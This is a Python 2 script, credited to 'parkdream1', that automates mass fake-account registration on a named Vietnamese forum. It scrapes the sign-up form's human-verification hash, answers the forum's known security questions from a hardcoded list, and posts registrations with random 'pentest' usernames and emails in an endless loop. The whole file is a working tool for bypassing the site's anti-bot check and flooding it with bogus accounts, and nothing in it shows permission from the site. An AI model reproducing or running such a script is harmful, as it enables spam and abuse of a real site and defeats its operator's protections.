vietrapclub.py

# -*- coding: utf-8 -*-
# Code by parkdream1
import sys
import urllib
import httplib
import re
import time
from random import randrange
taikhoan = 0
def step1():
    global hiddenkey
    global traloi
    params = urllib.urlencode({'s':'',
        'securitytoken': 'guest',
        'do': 'register',
        'url':'http://vietrapclub.com/register.php',
        'month':'',
        'day':'',
        'year':'',
        'who':'adult',
        'agree':'1'})

    lenth = len(params)

    headers =  ({"Host": "vietrapclub.com",
        "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:23.0) Gecko/20100101 Firefox/23.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Referer": "http://vietrapclub.com/dang-ky.php?agree=Ok",
        "Cookie": "PHPSESSID=%s"%sid,
        "Connection": "keep-alive",
        "Content-type": "application/x-www-form-urlencoded",
        "Content-Length": "%s"%lenth})

    conn = httplib.HTTPConnection("vietrapclub.com",80)
    conn.request("POST", "/dang-ky.php?do=register", params, headers)
    response = conn.getresponse()
    print "Status : %s" % response.status, response.reason
    the_page = response.read()
    print "[*] Detect Security Code and Security Hash"
    key = re.search('name="humanverify\[hash\]" value="(.*)" />',the_page)
    question = re.search('<label for="humanverify">(.*)</label>',the_page)
    if question:
        cauhoi = question.group(1)
    else:
        print "Detect Security Code Error\nExit"
        exit(1)
    if key:
        hiddenkey = key.group(1)
    else:
        print "Detect Security Code Error\nExit"
        exit(1)
    print "Security Code: %s" % cauhoi
    print "Security Hash: %s" % hiddenkey
    if cauhoi == 'Viết lại từ (VRC) vào ô dưới':
        traloi = 'VRC'
    elif cauhoi == 'Thủ đô nước việt nam là gì? ( viết chử + không dấu + có cách )':
        traloi = 'ha noi'
    elif cauhoi == '1+1=? (trả lời bằng chữ)':
        traloi = 'hai'
    else:
        print "Can't ByPass Security Question"
    print "[*] Bypass Security Code Ok"
    print "Answer is : %s" % (traloi)

def step2():
    i = randrange(9999)
    user = 'pentest%s' % (i)
    email = 'pentest%s@gmail.com' % (i)
    c_email = 'pentest%s@gmail.com' % (i)

    print "UserName: %s" % user
    print "Email: %s" % email

    params = urllib.urlencode({'s':'',
            'securitytoken': 'guest',
            'do': 'addmember',
            'url':'http://vietrapclub.com/register.php',
            'agree':'1',
            'password_md5':'1f5d020ac0ce982f5846897871b6b5ec',
            'passwordconfirm_md5':'1f5d020ac0ce982f5846897871b6b5ec',
            'day':'0',
            'month':'0',
            'year':'0',
            'username':'%s'%(user),
            'password':'',
            'passwordconfirm':'',
            'email':'%s'%(email),
            'emailconfirm':'%s'%(c_email),
            'humanverify[input]':'%s'%(traloi),
            'humanverify[hash]':'%s'%(hiddenkey),
            'userfield[field1]':'manh',
            'userfield[field1_set]':'1',
            'userfield[field6]':'2',
            'userfield[field6_set]':'1',
            'userfield[field3]':'ha+noi',
            'userfield[field3_set]':'1',
            'userfield[field4]':'+sinh+vien',
            'userfield[field4_set]':'1',
            'userfield[field5]':'1',
            'userfield[field5_set]':'1',
            'referrername':'',
            'timezoneoffset':'7',
            'dst':'2',
            'options[adminemail]':'1'})

    lenth = len(params)

    headers =   ({
                    "Host": "vietrapclub.com",
                    "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:23.0) Gecko/20100101 Firefox/23.0",
                    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Referer": "http://vietrapclub.com/dang-ky.php?do=register",
                    "Cookie": "PHPSESSID=%s"%sid,
                    "Connection": "keep-alive",
                    "Content-type": "application/x-www-form-urlencoded",
                    "Content-Length": "%s"%lenth})
    print "[*] Start Register User %s" % user
    print "[*] Please Wait ..."
    conn = httplib.HTTPConnection("vietrapclub.com",80)
    conn.request("POST", "/dang-ky.php?do=addmember", params, headers)
    response = conn.getresponse()
    print "Status : %s" % response.status, response.reason
    print "Registered Successfully User: %s" % user
    print "================================================================================"
    conn.close()
if __name__ == "__main__":
    while True:
        if len(sys.argv) != 2:
            print "Error Argv"
            exit(0)
        sid = sys.argv[1]
        step1()
        time.sleep(1)
        step2()
        taikhoan = taikhoan + 1
        print "[*] Registered %s User\n" % taikhoan
        print "================================================================================"
        time.sleep(2)